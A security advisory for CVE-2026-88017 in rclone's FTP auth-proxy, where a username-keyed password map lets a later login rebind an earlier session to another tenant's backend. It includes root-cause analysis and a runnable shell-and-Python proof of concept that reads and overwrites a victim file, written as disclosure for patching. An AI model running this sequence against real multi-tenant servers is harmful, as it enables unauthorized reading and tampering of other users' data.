github.com/rclone/rclone
Affected
- introduced
1.64.0, fixed1.75.1(semver)
Fixed versions
1.75.1
Fix
- Fixed version
1.75.1go get github.com/rclone/[email protected]
Advisory
Also known as: BIT-rclone-2026-88017, CVE-2026-88017, GO-2026-6458
rclone: FTP cross-session auth-proxy backend confusion
Summary
The FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.
This is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: cmd/serve/proxy keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.
Confirmed affected versions are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The username-global map was introduced in v1.64.0, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.
Affected Assets & Attack Surface
cmd/serve/ftp/ftp.go:170-178 defines userPass map[string]string as driver-global state keyed only by username.cmd/serve/ftp/ftp.go:318-335 validates (user, pass) through the proxy and then overwrites d.userPass[user].cmd/serve/ftp/ftp.go:352-373 retrieves the current map entry by Sess.LoginUser() for every filesystem operation and calls the proxy again with that password.cmd/serve/ftp/ftp.go:376 onward routes FTP filesystem operations through getVFS, including stat, listing, retrieval, upload, rename, and deletion.cmd/serve/proxy/proxy.go:114-119 documents credential- and client-IP-aware backend caching.cmd/serve/proxy/proxy.go:235-243 derives a cache key from username, credential, and client IP.cmd/serve/proxy/proxy.go:328-365 resolves and verifies the VFS using that composite identity.rclone serve ftp --auth-proxy ... deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.Technical Root Cause Analysis
Authentication initially uses the correct session data:
d.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())
After success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:
d.userPass[user] = oPass
For each later FTP operation, getVFS knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.
The authorization sequence is therefore:
shared with credential A and receives backend A.shared with credential B and overwrites userPass["shared"].getVFS uses credential B, not the credential that authenticated Session A.This creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.
Proof of Concept & Evidence
Create two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:
mkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim
printf 'attacker-only\n' > /tmp/rclone-ftp-attacker/attacker.txt
printf 'victim-secret\n' > /tmp/rclone-ftp-victim/victim.txt
cat > /tmp/rclone-ftp-proxy.py <<'PY'
#!/usr/bin/env python3
import json
import sys
request = json.load(sys.stdin)
roots = {
"attacker-token": "/tmp/rclone-ftp-attacker",
"victim-token": "/tmp/rclone-ftp-victim",
}
if request.get("user") != "shared" or request.get("pass") not in roots:
sys.exit(1)
print(json.dumps({
"type": "local",
"_root": roots[request["pass"]],
}))
PY
chmod 700 /tmp/rclone-ftp-proxy.py
Start the FTP server on loopback:
./rclone serve ftp \
--auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \
--addr 127.0.0.1:2121 \
--passive-port 30000-30010
In another terminal, keep both sessions open and trigger the overwrite:
python3 - <<'PY'
import ftplib
import io
def connect(password):
ftp = ftplib.FTP()
ftp.connect("127.0.0.1", 2121, timeout=5)
ftp.login("shared", password)
return ftp
attacker = connect("attacker-token")
# Establish the attacker's original authority.
original = bytearray()
attacker.retrbinary("RETR attacker.txt", original.extend)
assert original == b"attacker-only\n"
try:
attacker.size("victim.txt")
raise AssertionError("victim file unexpectedly visible before overwrite")
except ftplib.error_perm:
pass
# A second principal logs in with the same username and a different token.
victim = connect("victim-token")
assert victim.size("victim.txt") > 0
# The first session is now silently rebound to the victim backend.
stolen = bytearray()
attacker.retrbinary("RETR victim.txt", stolen.extend)
print(stolen.decode().strip())
attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))
attacker.quit()
victim.quit()
PY
grep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt
Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:
victim.txt.The complete automated validation used the actual FTP listener, two simultaneous github.com/jlaffaye/ftp clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that victim.txt was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:
=== RUN TestSecurityValidationFTPAuthProxyCrossSession
--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)
Both PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.
High Basis: The source's own band: HIGH
1.64.0, fixed 1.75.1 (semver)1.75.1
1.75.1go get github.com/rclone/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0